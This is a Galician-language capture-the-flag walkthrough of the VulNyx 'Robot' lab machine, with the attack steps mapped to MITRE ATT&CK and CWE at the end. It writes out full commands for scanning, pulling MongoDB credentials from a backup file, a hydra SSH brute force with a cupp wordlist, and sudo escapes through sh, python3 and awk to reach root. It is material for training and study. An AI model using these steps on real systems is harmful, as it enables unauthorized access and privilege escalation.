Ir ao contido

Robot

Máquina virtual Robot

Fig. VulNyx Robot
Fig. Card VulNyx Robot

A máquina Robot é moi interesante porque...

  • Metadata en imaxe (exiftool) revela directorio oculto
  • MongoDB accesible con credenciais en ficheiro de backup
  • Xeración de diccionario personalizado con cupp baseado en datos de MongoDB
  • Escalada horizontal en cadea: [usuario1] → [usuario2] → [usuario3] → [usuario4] → root
  • Cada usuario ten permisos sudo para executar como o seguinte usuario
  • Uso de GTFOBins para explotar sh, python3, e awk

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Robot -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Robot # 22,80,27017
whatweb IP_VulNyx_Robot
curl -I IP_VulNyx_Robot

Fase 2 — Análise

# Porto 27017 → MongoDB
# Porto 80 → HTTP

# Análise da web
firefox http://IP_VulNyx_Robot &

# Descarga de imaxe
wget http://IP_VulNyx_Robot/image.jpg

# Extracción de metadata con exiftool
exiftool image.jpg
# Comment: B4ckUp_3LLi0t/

# Exploración do directorio descuberto
firefox http://IP_VulNyx_Robot/B4ckUp_3LLi0t/ &
# Descarga de image2.jpg

# Enumeración con gobuster (extensións de backup)
gobuster dir -u http://IP_VulNyx_Robot/B4ckUp_3LLi0t/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x dump,db,bak,mongo,sql
# Ficheiro descuberto: /connect.bak (Status: 200)

# Descarga e análise de connect.bak
wget http://IP_VulNyx_Robot/B4ckUp_3LLi0t/connect.bak
file connect.bak # PHP script, ASCII text

cat connect.bak
# Credenciais MongoDB:
# username: [usermongo]
# password: [passmongo]
# replicaSet: [replicaset]
# db: [usuario1]
# Nota: ssl => true é unha trampa (non necesario)

# Instalación de mongosh en Kali (se non está instalado)
# Instalar dependencias
sudo apt update
sudo apt install -y gnupg curl ca-certificates

# Baixar a chave GPG pública de MongoDB (exemplo para 7.0)
curl -fsSL https://pgp.mongodb.com/server-7.0.asc | sudo gpg --dearmor -o /usr/share/keyrings/mongodb-server-7.0.gpg

# Engadir o repo (bookworm / amd64)
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] https://repo.mongodb.org/apt/debian bookworm/mongodb-org/7.0 main" \
  | sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list

sudo apt update

# Instalar só o cliente (se dispoñible): paquete 'mongodb-mongosh' ou 'mongosh'
sudo apt install -y mongodb-mongosh    

# Conexión a MongoDB
mongosh "mongodb://[usermongo]:[passmongo]@IP_VulNyx_Robot:27017/[usuario1]?replicaSet=[replicaset]&directConnection=true"

# Enumeración da base de datos
show collections
# Colección: [usuario1]

db.[usuario1].find()
# Datos atopados:
# Firstname: Elliot
# Surname: Alderson
# Nickname: MrRobot
# Birthdate: 17091986

Fase 3 — Explotación

# Xeración de diccionario personalizado con cupp
apt -y install cupp
cupp -i
# Introducir datos:
# - Nome: Elliot
# - Apelido: Alderson
# - Nickname: MrRobot
# - Data de nacemento: 17091986
# Diccionario xerado: [usuario1].txt

# Ataque de forza bruta SSH con diccionario personalizado
hydra -l [usuario1] -P [usuario1].txt ssh://IP_VulNyx_Robot -F -V -t 64
# Contrasinal atopada: [password]

# Acceso SSH
ssh [usuario1]@IP_VulNyx_Robot
# Password: [password]
# ⇒ Conseguimos consola de usuario [usuario1] (flag user.txt)

Fase 4 — Post‑explotación

# Enumeración de permisos sudo (usuario [usuario1])
sudo -l
# ([usuario2]) NOPASSWD: /usr/bin/sh

# Escalada horizontal a [usuario2]
sudo -u [usuario2] /usr/bin/sh
# ⇒ Conseguimos shell como usuario [usuario2]

# Enumeración de permisos sudo (usuario [usuario2])
sudo -l
# ([usuario3]) NOPASSWD: /usr/bin/python3

# Consulta en GTFOBins(https://gtfobins.github.io/) para python3
# Escalada horizontal a [usuario3]
sudo -u [usuario3] python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ⇒ Conseguimos shell como usuario [usuario3]

# Enumeración de permisos sudo (usuario [usuario3])
sudo -l
# ([usuario4]) NOPASSWD: /usr/bin/awk

# Consulta en GTFOBins(https://gtfobins.github.io/) para awk
# Escalada horizontal a [usuario4]
sudo -u [usuario4] awk 'BEGIN {system("/bin/sh")}'
# ⇒ Conseguimos shell como usuario [usuario4]

# Enumeración de permisos sudo (usuario [usuario4])
sudo -l
# (root) NOPASSWD: /usr/bin/zzuff

# Consulta do manual de zzuff
man zzuff

# Escalada vertical a root
sudo /usr/bin/zzuff bash
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Robot

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Extracción de metadata de imaxe con exiftool Metadata extraction T1592 — Gather Victim Host Information
T1083 — File and Directory Discovery
CWE-212 — Improper Removal of Sensitive Information Before Storage or Transfer
Descubrimento de ficheiro de backup con credenciais Credential discovery T1552.001 — Unsecured Credentials: Credentials In Files
T1083 — File and Directory Discovery
CWE-522 — Insufficiently Protected Credentials; CWE-312 — Cleartext Storage of Sensitive Information
Acceso a MongoDB e extracción de datos persoais Database enumeration T1213 — Data from Information Repositories
T1078 — Valid Accounts
CWE-284 — Improper Access Control
3. Explotación Xeración de diccionario con cupp baseado en datos persoais Custom wordlist generation T1589 — Gather Victim Identity Information
T1110.001 — Brute Force: Password Guessing
CWE-521 — Weak Password Requirements
Ataque de forza bruta SSH con diccionario personalizado Targeted brute-force T1110.001 — Brute Force: Password Guessing
T1021.004 — Remote Services: SSH
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts
4. Post-explotación Escalada horizontal mediante cadea de usuarios con sudo Lateral movement chain T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1078.003 — Valid Accounts: Local Accounts
CWE-269 — Improper Privilege Management
Abuso de sh, python3, awk con sudo (GTFOBins) Command execution via sudo T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059 — Command and Scripting Interpreter
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control
Abuso de zzuff con sudo para escalada a root Privilege escalation to root T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management